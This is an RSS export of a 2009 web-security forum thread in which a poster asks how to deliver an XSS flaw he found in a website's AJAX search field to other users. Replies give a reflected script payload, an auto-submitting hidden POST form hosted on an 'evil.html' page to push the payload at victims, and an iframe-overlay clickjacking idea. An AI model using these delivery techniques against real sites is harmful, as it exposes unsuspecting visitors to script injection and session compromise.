<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Basic XSS question</title>
        <description>I have found a website with an XSS vulnerability in a field that can't be accessed from a URL like the example below;

www.example.com/search.php?a=xssHere

The XSS vulnerability only works if I manually type in the script into the field. 
How do I make it possible to link others to a page with the XSS included (submitted)?

When the search button is clicked, the page gets updated with the search data from a 'call_ajax' function, so the page doesn't get refreshed. Is this still exploitable?</description>
        <link>http://sla.ckers.org/forum/read.php?2,28689,28689#msg-28689</link>
        <lastBuildDate>Sat, 25 May 2013 13:34:37 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,28689,33463#msg-33463</guid>
            <title>Re: Basic XSS question</title>
            <link>http://sla.ckers.org/forum/read.php?2,28689,33463#msg-33463</link>
            <description><![CDATA[Gobo have you managed to include the script in that page?<br />
<br />
I have a similar problem where everything works fine just when introduced manually.<br />
<br />
The link doesn't change when the &lt;script&gt; is added to the Search; it has javascript:executeSearch().<br />
<br />
Thx.]]></description>
            <dc:creator>bobku</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 16 Feb 2010 09:48:09 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,28689,28713#msg-28713</guid>
            <title>Re: Basic XSS question</title>
            <link>http://sla.ckers.org/forum/read.php?2,28689,28713#msg-28713</link>
            <description><![CDATA[http://wocares.com/pf3.php]]></description>
            <dc:creator>Kyo</dc:creator>
            <category>XSS Info</category>
            <pubDate>Wed, 10 Jun 2009 11:16:11 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,28689,28700#msg-28700</guid>
            <title>Re: Basic XSS question</title>
            <link>http://sla.ckers.org/forum/read.php?2,28689,28700#msg-28700</link>
            <description><![CDATA[ignore my post below, i was dumb and didnt read everything about the ajax<br />
<br />
-------<br />
<br />
are u talking about POST vs GET?<br />
<br />
see if you can see what the search value is, and setting it in the URL. that sometimes work<br />
ex: hxxp://site.com/search.php?s=&quot;&gt;&lt;script&gt;alert(1);&lt;/script&gt;<br />
<br />
or you can setup a free site somewhere, and do an automatic form submission<br />
&lt;body onload=Form.form1.submit()&gt;<br />
&lt;form method=post action=http://site.com/search.php&gt;<br />
&lt;input type=hidden name=search value='&quot;&gt;&lt;script&gt;alert(1);&lt;/script&gt;<br />
&lt;input type=submit&gt;<br />
&lt;/form&gt;<br />
<br />
then send them the url to your free site <br />
http://freesite.com/evil.html<br />
<br />
and boom they are xssed<br />
<br />
<br />
i hope thats what you are trying to do]]></description>
            <dc:creator>PaPPy</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 09 Jun 2009 15:04:32 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,28689,28696#msg-28696</guid>
            <title>Re: Basic XSS question</title>
            <link>http://sla.ckers.org/forum/read.php?2,28689,28696#msg-28696</link>
            <description><![CDATA[@Gobo <br />
<br />
Try using a iframe to the target site and overlaying the target area and then social engineering to click the button. I presume the button is activated with a javascript event rather than a post or get action. You need to be able to provide content either stored or reflected in some form to conduct an attack.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 09 Jun 2009 13:28:35 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,28689,28695#msg-28695</guid>
            <title>Re: Basic XSS question</title>
            <link>http://sla.ckers.org/forum/read.php?2,28689,28695#msg-28695</link>
            <description><![CDATA[.mario Wrote:<br />
-------------------------------------------------------<br />
&gt; Try working with images - the browser will attempt<br />
&gt; to load them even if the content came in via Ajax<br />
&gt; providing you load and error events.<br />
<br />
I think you misunderstood me. My problem is not with finding an XSS vector, it's with somehow getting that XSS'd page to display for other users. My problem is that the search field can't be submitted from the URL like a normal XSS attack where a crafted URL is given to a victim (shown in my example), so I'm looking for alternatives.]]></description>
            <dc:creator>Gobo</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 09 Jun 2009 13:18:00 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,28689,28692#msg-28692</guid>
            <title>Re: Basic XSS question</title>
            <link>http://sla.ckers.org/forum/read.php?2,28689,28692#msg-28692</link>
            <description><![CDATA[Try working with images - the browser will attempt to load them even if the content came in via Ajax providing you load and error events.]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 09 Jun 2009 11:54:19 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,28689,28689#msg-28689</guid>
            <title>Basic XSS question</title>
            <link>http://sla.ckers.org/forum/read.php?2,28689,28689#msg-28689</link>
            <description><![CDATA[I have found a website with an XSS vulnerability in a field that can't be accessed from a URL like the example below;<br />
<br />
www.example.com/search.php?a=xssHere<br />
<br />
The XSS vulnerability only works if I manually type in the script into the field. <br />
How do I make it possible to link others to a page with the XSS included (submitted)?<br />
<br />
When the search button is clicked, the page gets updated with the search data from a 'call_ajax' function, so the page doesn't get refreshed. Is this still exploitable?]]></description>
            <dc:creator>Gobo</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 09 Jun 2009 10:53:31 -0500</pubDate>
        </item>
    </channel>
</rss>
